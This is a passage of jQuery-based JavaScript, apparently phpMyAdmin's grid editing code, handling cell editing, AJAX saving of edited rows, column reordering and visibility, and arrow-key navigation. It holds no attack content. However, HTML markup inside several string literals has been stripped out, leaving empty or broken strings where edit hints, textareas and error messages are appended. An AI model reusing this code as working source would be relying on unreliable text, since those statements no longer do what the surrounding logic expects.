    '); var $checkbox = $editArea.find('.null_div input'); // check if current is NULL if (isNull) { $checkbox.prop('checked', true); g.wasEditedCellNull = true; } // if the select/editor is changed un-check the 'checkbox_null__'. if ($td.is('.enum, .set')) { $editArea.on('change', 'select', function () { $checkbox.prop('checked', false); }); } else if ($td.is('.relation')) { $editArea.on('change', 'select', function () { $checkbox.prop('checked', false); }); $editArea.on('click', '.browse_foreign', function () { $checkbox.prop('checked', false); }); } else { $(g.cEdit).on('keypress change paste', '.edit_box', function () { $checkbox.prop('checked', false); }); // Capture ctrl+v (on IE and Chrome) $(g.cEdit).on('keydown', '.edit_box', function (e) { if (e.ctrlKey && e.which === 86) { $checkbox.prop('checked', false); } }); $editArea.on('keydown', 'textarea', function () { $checkbox.prop('checked', false); }); } // if some text is written in textbox automatically unmark the null checkbox and if it is emptied again mark the checkbox. $(g.cEdit).find('.edit_box').on('input', function () { if ($(g.cEdit).find('.edit_box').val() !== '') { $checkbox.prop('checked', false); } else { $checkbox.prop('checked', true); } }); // if null checkbox is clicked empty the corresponding select/editor. $checkbox.on('click', function () { if ($td.is('.enum')) { $editArea.find('select').val(''); } else if ($td.is('.set')) { $editArea.find('select').find('option').each(function () { var $option = $(this); $option.prop('selected', false); }); } else if ($td.is('.relation')) { // if the dropdown is there to select the foreign value if ($editArea.find('select').length > 0) { $editArea.find('select').val(''); } } else { $editArea.find('textarea').val(''); } $(g.cEdit).find('.edit_box').val(''); }); } // reset the position of the edit_area div after closing datetime picker $(g.cEdit).find('.edit_area').css({ 'top': '0', 'position': '' }); var postParams; if ($td.is('.relation')) { // handle relations $editArea.addClass('edit_area_loading'); // initialize the original data $td.data('original_data', null); /** * @var postParams Object containing parameters for the POST request */ postParams = { 'ajax_request': true, 'server': g.server, 'db': g.db, 'table': g.table, 'column': fieldName, 'curr_value': relationCurrValue, 'relation_key_or_display_column': relationKeyOrDisplayColumn }; g.lastXHR = $.post('index.php?route=/sql/get-relational-values', postParams, function (data) { g.lastXHR = null; $editArea.removeClass('edit_area_loading'); if ($(data.dropdown).is('select')) { // save original_data var value = $(data.dropdown).val(); $td.data('original_data', value); // update the text input field, in case where the "Relational display column" is checked $(g.cEdit).find('.edit_box').val(value); } $editArea.append(data.dropdown); $editArea.append('
    ' + g.cellEditHint + '
    '); // for 'Browse foreign values' options, // hide the value next to 'Browse foreign values' link $editArea.find('span.curr_value').hide(); // handle update for new values selected from new window $editArea.find('span.curr_value').on('change', function () { $(g.cEdit).find('.edit_box').val($(this).text()); }); }); // end $.post() $editArea.show(); $editArea.on('change', 'select', function () { $(g.cEdit).find('.edit_box').val($(this).val()); }); g.isEditCellTextEditable = true; } else if ($td.is('.enum')) { // handle enum fields $editArea.addClass('edit_area_loading'); /** * @var postParams Object containing parameters for the POST request */ postParams = { 'ajax_request': true, 'server': g.server, 'db': g.db, 'table': g.table, 'column': fieldName, 'curr_value': currValue }; g.lastXHR = $.post('index.php?route=/sql/get-enum-values', postParams, function (data) { g.lastXHR = null; if (typeof data === 'object' && data.success === false) { Functions.ajaxShowMessage(data.error, undefined, 'error'); return; } $editArea.removeClass('edit_area_loading'); $editArea.append(data.dropdown); $editArea.append('
    ' + g.cellEditHint + '
    '); }); // end $.post() $editArea.show(); $editArea.on('change', 'select', function () { $(g.cEdit).find('.edit_box').val($(this).val()); }); } else if ($td.is('.set')) { // handle set fields $editArea.addClass('edit_area_loading'); // if the data is truncated, get the full data if ($td.is('.truncated')) { postParams = { 'ajax_request': true, 'server': g.server, 'db': g.db, 'table': g.table, 'column': fieldName, 'curr_value': currValue, 'get_full_values': true, 'where_clause': whereClause }; } else { postParams = { 'ajax_request': true, 'server': g.server, 'db': g.db, 'table': g.table, 'column': fieldName, 'curr_value': currValue }; } g.lastXHR = $.post('index.php?route=/sql/get-set-values', postParams, function (data) { g.lastXHR = null; if (typeof data === 'object' && data.success === false) { Functions.ajaxShowMessage(data.error, undefined, 'error'); return; } $editArea.removeClass('edit_area_loading'); $editArea.append(data.select); $td.data('original_data', $(data.select).val().join()); $editArea.append('
    ' + g.cellEditHint + '
    '); }); // end $.post() $editArea.show(); $editArea.on('change', 'select', function () { $(g.cEdit).find('.edit_box').val($(this).val()); }); } else if ($td.is('.truncated, .transformed')) { if ($td.is('.to_be_saved')) { // cell has been edited var value = $td.data('value'); $(g.cEdit).find('.edit_box').val(value); $editArea.append(''); $editArea.find('textarea').val(value); $editArea.on('keyup', 'textarea', function () { $(g.cEdit).find('.edit_box').val($(this).val()); }); $(g.cEdit).on('keyup', '.edit_box', function () { $editArea.find('textarea').val($(this).val()); }); $editArea.append('
    ' + g.cellEditHint + '
    '); } else { // handle truncated/transformed values values $editArea.addClass('edit_area_loading'); // initialize the original data $td.data('original_data', null); /** * @var sqlQuery String containing the SQL query used to retrieve value of truncated/transformed data */ var sqlQuery = 'SELECT `' + fieldName + '` FROM `' + g.table + '` WHERE ' + whereClause; // Make the Ajax call and get the data, wrap it and insert it g.lastXHR = $.post('index.php?route=/sql', { 'server': g.server, 'db': g.db, 'ajax_request': true, 'sql_query': sqlQuery, 'grid_edit': true }, function (data) { g.lastXHR = null; $editArea.removeClass('edit_area_loading'); if (typeof data !== 'undefined' && data.success === true) { if ($td.attr('data-type') === 'json') { data.value = Functions.stringifyJSON(data.value, null, 4); } $td.data('original_data', data.value); $(g.cEdit).find('.edit_box').val(data.value); } else { Functions.ajaxShowMessage(data.error, false); } }); // end $.post() } g.isEditCellTextEditable = true; } else if ($td.is('.timefield, .datefield, .datetimefield, .timestampfield')) { var $inputField = $(g.cEdit).find('.edit_box'); // remember current datetime value in $input_field, if it is not null var datetimeValue = !isNull ? $inputField.val() : ''; var showMillisec = false; var showMicrosec = false; var timeFormat = 'HH:mm:ss'; // check for decimal places of seconds if ($td.attr('data-decimals') > 0 && $td.attr('data-type').indexOf('time') !== -1) { if (datetimeValue && datetimeValue.indexOf('.') === false) { datetimeValue += '.'; } if ($td.attr('data-decimals') > 3) { showMillisec = true; showMicrosec = true; timeFormat = 'HH:mm:ss.lc'; if (datetimeValue) { datetimeValue += '000000'; datetimeValue = datetimeValue.substring(0, datetimeValue.indexOf('.') + 7); $inputField.val(datetimeValue); } } else { showMillisec = true; timeFormat = 'HH:mm:ss.l'; if (datetimeValue) { datetimeValue += '000'; datetimeValue = datetimeValue.substring(0, datetimeValue.indexOf('.') + 4); $inputField.val(datetimeValue); } } } // add datetime picker Functions.addDatepicker($inputField, $td.attr('data-type'), { showMillisec: showMillisec, showMicrosec: showMicrosec, timeFormat: timeFormat, firstDay: firstDayOfCalendar }); $inputField.on('keyup', function (e) { if (e.which === 13) { // post on pressing "Enter" e.preventDefault(); e.stopPropagation(); g.saveOrPostEditedCell(); } else if (e.which !== 27) { Functions.toggleDatepickerIfInvalid($td, $inputField); } }); $inputField.datepicker('show'); Functions.toggleDatepickerIfInvalid($td, $inputField); // unbind the mousedown event to prevent the problem of // datepicker getting closed, needs to be checked for any // change in names when updating // eslint-disable-next-line no-underscore-dangle $(document).off('mousedown', $.datepicker._checkExternalClick); // move ui-datepicker-div inside cEdit div var datepickerDiv = $('#ui-datepicker-div'); datepickerDiv.css({ 'top': 0, 'left': 0, 'position': 'relative' }); $(g.cEdit).append(datepickerDiv); // cancel any click on the datepicker element $editArea.find('> *').on('click', function (e) { e.stopPropagation(); }); g.isEditCellTextEditable = true; } else { g.isEditCellTextEditable = true; // only append edit area hint if there is a null checkbox if ($editArea.children().length > 0) { $editArea.append('
    ' + g.cellEditHint + '
    '); } } if ($editArea.children().length > 0) { $editArea.show(); } } }, /** * Post the content of edited cell. * * @param options Optional, this object contains a boolean named move (true, if called from move* functions) * and a to which the grid_edit should move */ postEditedCell: function (options) { if (g.isSaving) { return; } g.isSaving = true; /** * @var relationFields Array containing the name/value pairs of relational fields */ var relationFields = {}; /** * @var relationalDisplay string 'K' if relational key, 'D' if relational display column */ var relationalDisplay = $(g.o).find('input[name=relational_display]:checked').val(); /** * @var transformFields Array containing the name/value pairs for transformed fields */ var transformFields = {}; /** * @var transformationFields Boolean, if there are any transformed fields in the edited cells */ var transformationFields = false; /** * @var fullSqlQuery String containing the complete SQL query to update this table */ var fullSqlQuery = ''; /** * @var relFieldsList String, url encoded representation of {@link relations_fields} */ var relFieldsList = ''; /** * @var transformFieldsList String, url encoded representation of {@link transformFields} */ var transformFieldsList = ''; /** * @var fullWhereClause Array containing where clause for updated fields */ var fullWhereClause = []; /** * @var isUnique Boolean, whether the rows in this table is unique or not */ var isUnique = $(g.t).find('td.edit_row_anchor').is('.nonunique') ? 0 : 1; /** * multi edit variables */ var multiEditFieldsName = []; var multiEditFieldsType = []; var multiEditFields = []; var multiEditFieldsNull = []; // alert user if edited table is not unique if (!isUnique) { alert(g.alertNonUnique); } // loop each edited row $(g.t).find('td.to_be_saved').parents('tr').each(function () { var $tr = $(this); var whereClause = $tr.find('.where_clause').val(); if (typeof whereClause === 'undefined') { whereClause = ''; } fullWhereClause.push(whereClause); var conditionArray = JSON.parse($tr.find('.condition_array').val()); /** * multi edit variables, for current row * @TODO array indices are still not correct, they should be md5 of field's name */ var fieldsName = []; var fieldsType = []; var fields = []; var fieldsNull = []; // loop each edited cell in a row $tr.find('.to_be_saved').each(function () { /** * @var $thisField Object referring to the td that is being edited */ var $thisField = $(this); /** * @var fieldName String containing the name of this field. * @see Sql.getFieldName() */ var fieldName = Sql.getFieldName($(g.t), $thisField); /** * @var thisFieldParams Array temporary storage for the name/value of current field */ var thisFieldParams = {}; if ($thisField.is('.transformed')) { transformationFields = true; } thisFieldParams[fieldName] = $thisField.data('value'); /** * @var isNull String capturing whether 'checkbox_null__' is checked. */ var isNull = thisFieldParams[fieldName] === null; fieldsName.push(fieldName); if (isNull) { fieldsNull.push('on'); fields.push(''); } else { if ($thisField.is('.bit')) { fieldsType.push('bit'); } else if ($thisField.hasClass('hex')) { fieldsType.push('hex'); } fieldsNull.push(''); if ($thisField.attr('data-type') !== 'json') { fields.push($thisField.data('value')); } else { const JSONString = Functions.stringifyJSON($thisField.data('value')); fields.push(JSONString); } var cellIndex = $thisField.index('.to_be_saved'); if ($thisField.is(':not(.relation, .enum, .set, .bit)')) { if ($thisField.is('.transformed')) { transformFields[cellIndex] = {}; $.extend(transformFields[cellIndex], thisFieldParams); } } else if ($thisField.is('.relation')) { relationFields[cellIndex] = {}; $.extend(relationFields[cellIndex], thisFieldParams); } } // check if edited field appears in WHERE clause if (whereClause.indexOf(Sql.urlEncode(fieldName)) > -1) { var fieldStr = '`' + g.table + '`.' + '`' + fieldName + '`'; for (var field in conditionArray) { if (field.indexOf(fieldStr) > -1) { conditionArray[field] = isNull ? 'IS NULL' : '= \'' + thisFieldParams[fieldName].replace(/'/g, '\'\'') + '\''; break; } } } }); // end of loop for every edited cells in a row // save new_clause var newClause = ''; for (var field in conditionArray) { newClause += field + ' ' + conditionArray[field] + ' AND '; } newClause = newClause.substring(0, newClause.length - 5); // remove the last AND $tr.data('new_clause', newClause); // save condition_array $tr.find('.condition_array').val(JSON.stringify(conditionArray)); multiEditFieldsName.push(fieldsName); multiEditFieldsType.push(fieldsType); multiEditFields.push(fields); multiEditFieldsNull.push(fieldsNull); }); // end of loop for every edited rows relFieldsList = $.param(relationFields); transformFieldsList = $.param(transformFields); // Make the Ajax post after setting all parameters /** * @var postParams Object containing parameters for the POST request */ var postParams = { 'ajax_request': true, 'sql_query': fullSqlQuery, 'server': g.server, 'db': g.db, 'table': g.table, 'clause_is_unique': isUnique, 'where_clause': fullWhereClause, 'fields[multi_edit]': multiEditFields, 'fields_name[multi_edit]': multiEditFieldsName, 'fields_type[multi_edit]': multiEditFieldsType, 'fields_null[multi_edit]': multiEditFieldsNull, 'rel_fields_list': relFieldsList, 'do_transformations': transformationFields, 'transform_fields_list': transformFieldsList, 'relational_display': relationalDisplay, 'goto': encodeURIComponent('index.php?route=/sql'), 'submit_type': 'save' }; if (!g.saveCellsAtOnce) { $(g.cEdit).find('*').prop('disabled', true); $(g.cEdit).find('.edit_box').addClass('edit_box_posting'); } else { $(g.o).find('div.save_edited').addClass('saving_edited_data').find('input').prop('disabled', true); // disable the save button } $.ajax({ type: 'POST', url: 'index.php?route=/table/replace', data: postParams, success: function (data) { g.isSaving = false; if (!g.saveCellsAtOnce) { $(g.cEdit).find('*').prop('disabled', false); $(g.cEdit).find('.edit_box').removeClass('edit_box_posting'); } else { $(g.o).find('div.save_edited').removeClass('saving_edited_data').find('input').prop('disabled', false); // enable the save button back } if (typeof data !== 'undefined' && data.success === true) { if (typeof options === 'undefined' || !options.move) { Functions.ajaxShowMessage(data.message); } // update where_clause related data in each edited row $(g.t).find('td.to_be_saved').parents('tr').each(function () { var newClause = $(this).data('new_clause'); var $whereClause = $(this).find('.where_clause'); var oldClause = $whereClause.val(); var decodedOldClause = oldClause; var decodedNewClause = newClause; $whereClause.val(newClause); // update Edit, Copy, and Delete links also $(this).find('a').each(function () { $(this).attr('href', $(this).attr('href').replace(oldClause, newClause)); // update delete confirmation in Delete link if ($(this).attr('href').indexOf('DELETE') > -1) { $(this).removeAttr('onclick').off('click').on('click', function () { return Functions.confirmLink(this, 'DELETE FROM `' + g.db + '`.`' + g.table + '` WHERE ' + decodedNewClause + (isUnique ? '' : ' LIMIT 1')); }); } }); // update the multi edit checkboxes $(this).find('input[type=checkbox]').each(function () { var $checkbox = $(this); var checkboxName = $checkbox.attr('name'); var checkboxValue = $checkbox.val(); $checkbox.attr('name', checkboxName.replace(oldClause, newClause)); $checkbox.val(checkboxValue.replace(decodedOldClause, decodedNewClause)); }); }); // update the display of executed SQL query command if (typeof data.sql_query !== 'undefined') { // extract query box var $resultQuery = $($.parseHTML(data.sql_query)); var sqlOuter = $resultQuery.find('.sqlOuter').wrap('

    ').parent().html(); var tools = $resultQuery.find('.tools').wrap('

    ').parent().html(); // sqlOuter and tools will not be present if 'Show SQL queries' configuration is off if (typeof sqlOuter !== 'undefined' && typeof tools !== 'undefined') { $(g.o).find('.result_query').not($(g.o).find('.result_query').last()).remove(); var $existingQuery = $(g.o).find('.result_query'); // If two query box exists update query in second else add a second box if ($existingQuery.find('div.sqlOuter').length > 1) { $existingQuery.children().eq(3).remove(); $existingQuery.children().eq(3).remove(); $existingQuery.append(sqlOuter + tools); } else { $existingQuery.append(sqlOuter + tools); } Functions.highlightSql($existingQuery); } } // hide and/or update the successfully saved cells g.hideEditCell(true, data); // remove the "Save edited cells" button $(g.o).find('div.save_edited').hide(); // update saved fields $(g.t).find('.to_be_saved').removeClass('to_be_saved').data('value', null).data('original_data', null); g.isCellEdited = false; } else { Functions.ajaxShowMessage(data.error, false); if (!g.saveCellsAtOnce) { $(g.t).find('.to_be_saved').removeClass('to_be_saved'); } } } }).done(function () { if (options !== undefined && options.move) { g.showEditCell(options.cell); } }); // end $.ajax() }, /** * Save edited cell, so it can be posted later. * * @return {bool} */ saveEditedCell: function () { /** * @var $thisField Object referring to the td that is being edited */ var $thisField = $(g.currentEditCell); var $testElement = ''; // to test the presence of a element var needToPost = false; /** * @var fieldName String containing the name of this field. * @see Sql.getFieldName() */ var fieldName = Sql.getFieldName($(g.t), $thisField); /** * @var thisFieldParams Array temporary storage for the name/value of current field */ var thisFieldParams = {}; /** * @var isNull String capturing whether 'checkbox_null__' is checked. */ var isNull = $(g.cEdit).find('input:checkbox').is(':checked'); if ($(g.cEdit).find('.edit_area').is('.edit_area_loading')) { // the edit area is still loading (retrieving cell data), no need to post needToPost = false; } else if (isNull) { if (!g.wasEditedCellNull) { thisFieldParams[fieldName] = null; needToPost = true; } } else { if ($thisField.is('.bit')) { thisFieldParams[fieldName] = $(g.cEdit).find('.edit_box').val(); } else if ($thisField.is('.set')) { $testElement = $(g.cEdit).find('select'); thisFieldParams[fieldName] = $testElement.map(function () { return $(this).val(); }).get().join(','); } else if ($thisField.is('.relation, .enum')) { // for relation and enumeration, take the results from edit box value, // because selected value from drop-down, new window or multiple // selection list will always be updated to the edit box thisFieldParams[fieldName] = $(g.cEdit).find('.edit_box').val(); } else if ($thisField.hasClass('hex')) { if ($(g.cEdit).find('.edit_box').val().match(/^(0x)?[a-f0-9]*$/i) !== null) { thisFieldParams[fieldName] = $(g.cEdit).find('.edit_box').val(); } else { var hexError = '

    '; Functions.ajaxShowMessage(hexError, false); thisFieldParams[fieldName] = Functions.getCellValue(g.currentEditCell); } } else { thisFieldParams[fieldName] = $(g.cEdit).find('.edit_box').val(); } let isValueUpdated; if ($thisField.attr('data-type') !== 'json') { isValueUpdated = thisFieldParams[fieldName] !== Functions.getCellValue(g.currentEditCell); } else { const JSONString = Functions.stringifyJSON(thisFieldParams[fieldName]); isValueUpdated = JSONString !== JSON.stringify(JSON.parse(Functions.getCellValue(g.currentEditCell))); } if (g.wasEditedCellNull || isValueUpdated) { needToPost = true; } } if (needToPost) { $(g.currentEditCell).addClass('to_be_saved').data('value', thisFieldParams[fieldName]); if (g.saveCellsAtOnce) { $(g.o).find('div.save_edited').show(); } g.isCellEdited = true; } return needToPost; }, /** * Save or post currently edited cell, depending on the "saveCellsAtOnce" configuration. * * @param options Optional, this object contains a boolean named move (true, if called from move* functions) * and a to which the grid_edit should move */ saveOrPostEditedCell: function (options) { var saved = g.saveEditedCell(); // Check if $cfg['SaveCellsAtOnce'] is false if (!g.saveCellsAtOnce) { // Check if need_to_post is true if (saved) { // Check if this function called from 'move' functions if (options !== undefined && options.move) { g.postEditedCell(options); } else { g.postEditedCell(); } // need_to_post is false } else { // Check if this function called from 'move' functions if (options !== undefined && options.move) { g.hideEditCell(true); g.showEditCell(options.cell); // NOT called from 'move' functions } else { g.hideEditCell(true); } } // $cfg['SaveCellsAtOnce'] is true } else { // If need_to_post if (saved) { // If this function called from 'move' functions if (options !== undefined && options.move) { g.hideEditCell(true, true, false, options); g.showEditCell(options.cell); // NOT called from 'move' functions } else { g.hideEditCell(true, true); } } else { // If this function called from 'move' functions if (options !== undefined && options.move) { g.hideEditCell(true, false, false, options); g.showEditCell(options.cell); // NOT called from 'move' functions } else { g.hideEditCell(true); } } } }, /** * Initialize column resize feature. */ initColResize: function () { // create column resizer div g.cRsz = document.createElement('div'); g.cRsz.className = 'cRsz'; // get data columns in the first row of the table var $firstRowCols = $(g.t).find('tr').first().find('th.draggable'); // create column borders $firstRowCols.each(function () { var cb = document.createElement('div'); // column border $(cb).addClass('colborder').on('mousedown', function (e) { g.dragStartRsz(e, this); }); $(g.cRsz).append(cb); }); g.reposRsz(); // attach to global div $(g.gDiv).prepend(g.cRsz); }, /** * Initialize column reordering feature. */ initColReorder: function () { g.cCpy = document.createElement('div'); // column copy, to store copy of dragged column header g.cPointer = document.createElement('div'); // column pointer, used when reordering column // adjust g.cCpy g.cCpy.className = 'cCpy'; $(g.cCpy).hide(); // adjust g.cPointer g.cPointer.className = 'cPointer'; $(g.cPointer).css('visibility', 'hidden'); // set visibility to hidden instead of calling hide() to force browsers to cache the image in cPointer class // assign column reordering hint g.reorderHint = Messages.strColOrderHint; // get data columns in the first row of the table var $firstRowCols = $(g.t).find('tr').first().find('th.draggable'); // initialize column order var $colOrder = $(g.o).find('.col_order'); // check if column order is passed from PHP var i; if ($colOrder.length > 0) { g.colOrder = $colOrder.val().split(','); for (i = 0; i < g.colOrder.length; i++) { g.colOrder[i] = parseInt(g.colOrder[i], 10); } } else { g.colOrder = []; for (i = 0; i < $firstRowCols.length; i++) { g.colOrder.push(i); } } // register events $(g.t).find('th.draggable').on('mousedown', function (e) { $(g.o).addClass('turnOffSelect'); if (g.visibleHeadersCount > 1) { g.dragStartReorder(e, this); } }).on('mouseenter', function () { if (g.visibleHeadersCount > 1) { $(this).css('cursor', 'move'); } else { $(this).css('cursor', 'inherit'); } }).on('mouseleave', function () { g.showReorderHint = false; $(this).uiTooltip('option', { content: g.updateHint() }); }).on('dblclick', function (e) { e.preventDefault(); var res = Functions.copyToClipboard($(this).data('column')); if (res) { Functions.ajaxShowMessage(Messages.strCopyColumnSuccess, false, 'success'); } else { Functions.ajaxShowMessage(Messages.strCopyColumnFailure, false, 'error'); } }); $(g.t).find('th.draggable a').on('dblclick', function (e) { e.stopPropagation(); }); // restore column order when the restore button is clicked $(g.o).find('div.restore_column').on('click', function () { g.restoreColOrder(); }); // attach to global div $(g.gDiv).append(g.cPointer); $(g.gDiv).append(g.cCpy); // prevent default "dragstart" event when dragging a link $(g.t).find('th a').on('dragstart', function () { return false; }); // refresh the restore column button state g.refreshRestoreButton(); }, /** * Initialize column visibility feature. */ initColVisib: function () { g.cDrop = document.createElement('div'); // column drop-down arrows g.cList = document.createElement('div'); // column visibility list // adjust g.cDrop g.cDrop.className = 'cDrop'; // adjust g.cList g.cList.className = 'cList'; $(g.cList).hide(); // assign column visibility related hints g.showAllColText = Messages.strShowAllCol; // get data columns in the first row of the table var $firstRowCols = $(g.t).find('tr').first().find('th.draggable'); var i; // initialize column visibility var $colVisib = $(g.o).find('.col_visib'); // check if column visibility is passed from PHP if ($colVisib.length > 0) { g.colVisib = $colVisib.val().split(','); for (i = 0; i < g.colVisib.length; i++) { g.colVisib[i] = parseInt(g.colVisib[i], 10); } } else { g.colVisib = []; for (i = 0; i < $firstRowCols.length; i++) { g.colVisib.push(1); } } // make sure we have more than one column if ($firstRowCols.length > 1) { var $colVisibTh = $(g.t).find('th:not(.draggable)').slice(0, 1); Functions.tooltip($colVisibTh, 'th', Messages.strColVisibHint); // create column visibility drop-down arrow(s) $colVisibTh.each(function () { var cd = document.createElement('div'); // column drop-down arrow $(cd).addClass('coldrop').on('click', function () { if (g.cList.style.display === 'none') { g.showColList(this); } else { g.hideColList(); } }); $(g.cDrop).append(cd); }); // add column visibility control g.cList.innerHTML = '
    '; var $listDiv = $(g.cList).find('div'); var tempClick = function () { if (g.toggleCol($(this).index())) { g.afterToggleCol(); } }; for (i = 0; i < $firstRowCols.length; i++) { var currHeader = $firstRowCols[i]; var listElmt = document.createElement('div'); $(listElmt).text($(currHeader).text()).prepend(''); $listDiv.append(listElmt); // add event on click $(listElmt).on('click', tempClick); } // add "show all column" button var showAll = document.createElement('div'); $(showAll).addClass('showAllColBtn').text(g.showAllColText); $(g.cList).append(showAll); $(showAll).on('click', function () { g.showAllColumns(); }); // prepend "show all column" button at top if the list is too long if ($firstRowCols.length > 10) { var clone = showAll.cloneNode(true); $(g.cList).prepend(clone); $(clone).on('click', function () { g.showAllColumns(); }); } } // hide column visibility list if we move outside the list $(g.t).find('td, th.draggable').on('mouseenter', function () { g.hideColList(); }); // attach to first row first col of the grid var thFirst = $(g.t).find('th.d-print-none'); $(thFirst).append(g.cDrop); $(thFirst).append(g.cList); // some adjustment g.reposDrop(); }, /** * Move currently Editing Cell to Up * * @param e * */ moveUp: function (e) { e.preventDefault(); var $thisField = $(g.currentEditCell); var fieldName = Sql.getFieldName($(g.t), $thisField); var whereClause = $thisField.parents('tr').first().find('.where_clause').val(); if (typeof whereClause === 'undefined') { whereClause = ''; } var found = false; var $prevRow; $thisField.parents('tr').first().parents('tbody').children().each(function () { if ($(this).find('.where_clause').val() === whereClause) { found = true; } if (!found) { $prevRow = $(this); } }); var newCell; if (found && $prevRow) { $prevRow.children('td').each(function () { if (Sql.getFieldName($(g.t), $(this)) === fieldName) { newCell = this; } }); } if (newCell) { g.hideEditCell(false, false, false, { move: true, cell: newCell }); } }, /** * Move currently Editing Cell to Down * * @param e * */ moveDown: function (e) { e.preventDefault(); var $thisField = $(g.currentEditCell); var fieldName = Sql.getFieldName($(g.t), $thisField); var whereClause = $thisField.parents('tr').first().find('.where_clause').val(); if (typeof whereClause === 'undefined') { whereClause = ''; } var found = false; var $nextRow; var j = 0; var nextRowFound = false; $thisField.parents('tr').first().parents('tbody').children().each(function () { if ($(this).find('.where_clause').val() === whereClause) { found = true; } if (found) { if (j >= 1 && !nextRowFound) { $nextRow = $(this); nextRowFound = true; } else { j++; } } }); var newCell; if (found && $nextRow) { $nextRow.children('td').each(function () { if (Sql.getFieldName($(g.t), $(this)) === fieldName) { newCell = this; } }); } if (newCell) { g.hideEditCell(false, false, false, { move: true, cell: newCell }); } }, /** * Move currently Editing Cell to Left * * @param e * */ moveLeft: function (e) { e.preventDefault(); var $thisField = $(g.currentEditCell); var fieldName = Sql.getFieldName($(g.t), $thisField); var whereClause = $thisField.parents('tr').first().find('.where_clause').val(); if (typeof whereClause === 'undefined') { whereClause = ''; } var found = false; var $foundRow; $thisField.parents('tr').first().parents('tbody').children().each(function () { if ($(this).find('.where_clause').val() === whereClause) { found = true; $foundRow = $(this); } }); var leftCell; var cellFound = false; if (found) { $foundRow.children('td.grid_edit').each(function () { if (Sql.getFieldName($(g.t), $(this)) === fieldName) { cellFound = true; } if (!cellFound) { leftCell = this; } }); } if (leftCell) { g.hideEditCell(false, false, false, { move: true, cell: leftCell }); } }, /** * Move currently Editing Cell to Right * * @param e * */ moveRight: function (e) { e.preventDefault(); var $thisField = $(g.currentEditCell); var fieldName = Sql.getFieldName($(g.t), $thisField); var whereClause = $thisField.parents('tr').first().find('.where_clause').val(); if (typeof whereClause === 'undefined') { whereClause = ''; } var found = false; var $foundRow; var j = 0; $thisField.parents('tr').first().parents('tbody').children().each(function () { if ($(this).find('.where_clause').val() === whereClause) { found = true; $foundRow = $(this); } }); var rightCell; var cellFound = false; var nextCellFound = false; if (found) { $foundRow.children('td.grid_edit').each(function () { if (Sql.getFieldName($(g.t), $(this)) === fieldName) { cellFound = true; } if (cellFound) { if (j >= 1 && !nextCellFound) { rightCell = this; nextCellFound = true; } else { j++; } } }); } if (rightCell) { g.hideEditCell(false, false, false, { move: true, cell: rightCell }); } }, /** * Initialize grid editing feature. */ initGridEdit: function () { function startGridEditing(e, cell) { if (g.isCellEditActive) { g.saveOrPostEditedCell(); } else { g.showEditCell(cell); } e.stopPropagation(); } function handleCtrlNavigation(e) { if (e.ctrlKey && e.which === 38 || e.altKey && e.which === 38) { g.moveUp(e); } else if (e.ctrlKey && e.which === 40 || e.altKey && e.which === 40) { g.moveDown(e); } else if (e.ctrlKey && e.which === 37 || e.altKey && e.which === 37) { g.moveLeft(e); } else if (e.ctrlKey && e.which === 39 || e.altKey && e.which === 39) { g.moveRight(e); } } // create cell edit wrapper element g.cEditStd = document.createElement('div'); g.cEdit = g.cEditStd; g.cEditTextarea = document.createElement('div'); // adjust g.cEditStd g.cEditStd.className = 'cEdit'; $(g.cEditStd).html('
    '); $(g.cEditStd).hide(); // adjust g.cEdit g.cEditTextarea.className = 'cEdit'; $(g.cEditTextarea).html('
    '); $(g.cEditTextarea).hide(); // assign cell editing hint g.cellEditHint = Messages.strCellEditHint; g.saveCellWarning = Messages.strSaveCellWarning; g.alertNonUnique = Messages.strAlertNonUnique; g.gotoLinkText = Messages.strGoToLink; // initialize cell editing configuration g.saveCellsAtOnce = $(g.o).find('.save_cells_at_once').val(); g.maxTruncatedLen = CommonParams.get('LimitChars'); // register events $(g.t).find('td.data.click1').on('click', function (e) { startGridEditing(e, this); // prevent default action when clicking on "link" in a table if ($(e.target).is('.grid_edit a')) { e.preventDefault(); } }); $(g.t).find('td.data.click2').on('click', function (e) { var $cell = $(this); // In the case of relational link, We want single click on the link // to goto the link and double click to start grid-editing. var $link = $(e.target); if ($link.is('.grid_edit.relation a')) { e.preventDefault(); // get the click count and increase var clicks = $cell.data('clicks'); clicks = typeof clicks === 'undefined' ? 1 : clicks + 1; if (clicks === 1) { // if there are no previous clicks, // start the single click timer var timer = setTimeout(function () { // temporarily remove ajax class so the page loader will not handle it, // submit and then add it back $link.removeClass('ajax'); AJAX.requestHandler.call($link[0]); $link.addClass('ajax'); $cell.data('clicks', 0); }, 700); $cell.data('clicks', clicks); $cell.data('timer', timer); } else { // When double clicking a link, switch to edit mode // this is a double click, cancel the single click timer // and make the click count 0 clearTimeout($cell.data('timer')); $cell.data('clicks', 0); // start grid-editing startGridEditing(e, this); } } }).on('dblclick', function (e) { if ($(e.target).is('.grid_edit a')) { e.preventDefault(); } else { startGridEditing(e, this); } }); $(g.cEditStd).on('keydown', 'input.edit_box, select', handleCtrlNavigation); $(g.cEditStd).find('.edit_box').on('focus', function () { g.showEditArea(); }); $(g.cEditStd).on('keydown', '.edit_box, select', function (e) { if (e.which === 13) { // post on pressing "Enter" e.preventDefault(); g.saveOrPostEditedCell(); } }); $(g.cEditStd).on('keydown', function (e) { if (!g.isEditCellTextEditable) { // prevent text editing e.preventDefault(); } }); $(g.cEditTextarea).on('keydown', 'textarea.edit_box, select', handleCtrlNavigation); $(g.cEditTextarea).find('.edit_box').on('focus', function () { g.showEditArea(); }); $(g.cEditTextarea).on('keydown', '.edit_box, select', function (e) { if (e.which === 13 && !e.shiftKey) { // post on pressing "Enter" e.preventDefault(); g.saveOrPostEditedCell(); } }); $(g.cEditTextarea).on('keydown', function (e) { if (!g.isEditCellTextEditable) { // prevent text editing e.preventDefault(); } }); $('html').on('click', function (e) { // hide edit cell if the click is not fromDat edit area if ($(e.target).parents().index($(g.cEdit)) === -1 && !$(e.target).parents('.ui-datepicker-header').length && !$('.browse_foreign_modal.ui-dialog:visible').length && !$(e.target).closest('.dismissable').length) { g.hideEditCell(); } }).on('keydown', function (e) { if (e.which === 27 && g.isCellEditActive) { // cancel on pressing "Esc" g.hideEditCell(true); } }); $(g.o).find('div.save_edited').on('click', function () { g.hideEditCell(); g.postEditedCell(); }); $(window).on('beforeunload', function () { if (g.isCellEdited) { return g.saveCellWarning; } }); // attach to global div $(g.gDiv).append(g.cEditStd); $(g.gDiv).append(g.cEditTextarea); // add hint for grid editing feature when hovering "Edit" link in each table row if (Messages.strGridEditFeatureHint !== undefined) { Functions.tooltip($(g.t).find('.edit_row_anchor a'), 'a', Messages.strGridEditFeatureHint); } } }; /** **************** * Initialize grid ******************/ // 